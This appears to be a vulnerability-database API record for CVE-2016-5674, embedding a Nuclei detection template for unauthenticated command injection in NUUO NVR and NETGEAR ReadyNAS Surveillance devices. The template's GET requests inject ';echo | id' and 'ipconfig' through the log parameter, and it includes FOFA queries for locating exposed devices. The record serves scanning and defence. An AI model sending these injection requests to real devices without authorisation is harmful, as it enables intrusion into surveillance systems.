{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2016-5674/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2016-5674/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2016-5674/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2016-5674/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2016-5674/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2016-5674"},"sightings":{"href":"/api/v1/sightings/cve-2016-5674"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2016/CVE-2016-5674.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2016-5674\n\ninfo:\n  name: NUUO NVR camera `debugging_center_utils_.php` - Command Execution\n  author: DhiyaneshDK\n  severity: critical\n  description: |\n    __debugging_center_utils___.php in NUUO NVRmini 2 1.7.5 through 3.0.0, NUUO NVRsolo 1.7.5 through 3.0.0, and NETGEAR ReadyNAS Surveillance 1.1.1 through 1.4.1 allows remote attackers to execute arbitrary PHP code via the log parameter.\n  impact: |\n    Attackers can execute arbitrary PHP code remotely without authentication through command injection, leading to complete server compromise and data breach.\n  remediation: |\n    Update NUUO NVR devices to the latest firmware version that patches the command injection vulnerability.\n  reference:\n    - http://www.kb.cert.org/vuls/id/856152\n    - https://www.exploit-db.com/exploits/40200/\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2016-5674\n    cwe-id: CWE-20\n    epss-score: 0.9461\n    epss-percentile: 0.99852\n    cpe: cpe:2.3:a:netgear:readynas_surveillance:1.1.1:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: netgear\n    product: \"readynas_surveillance\"\n    fofa-query:\n      - \"app=\\\"NUUO-NVRmini\\\" || app=\\\"NUUO-NVR\\\" || title=\\\"Network Video Recorder Login\\\"\"\n      - app=\"nuuo-nvrmini\" || app=\"nuuo-nvr\" || title=\"network video recorder login\"\n  tags: cve,cve2016,nuuo,rce,netgear,vkev,vuln\nvariables:\n  rand: \"{{to_lower(rand_text_alpha(32))}}\"\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/__debugging_center_utils___.php?log=;echo%20{{rand}}%20|%20id\"\n      - \"{{BaseURL}}/__debugging_center_utils___.php?log=;echo%20{{rand}}%20|%20ipconfig\"\n\n    stop-at-first-match: true\n    matchers-condition: or\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code_1 == 200\"\n          - \"contains(body_1, 'Debugging Center')\"\n          - \"regex('uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)', body_1)\"\n        condition: and\n\n      - type: dsl\n        dsl:\n          - \"status_code_2 == 200\"\n          - \"contains(body_2, 'Debugging Center')\"\n          - \"contains(body_2, 'Windows IP')\"\n        condition: and\n# digest: 4a0a00473045022100e5c4a442314d7a9f7c3118ee86aefdf23b644c6658b2af9a34b3ff34e717b21302201db1704f0db883c01b83f35d52fa9cd39f8a907ee0808c18ebe5486cac0738e0:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2016-5674"}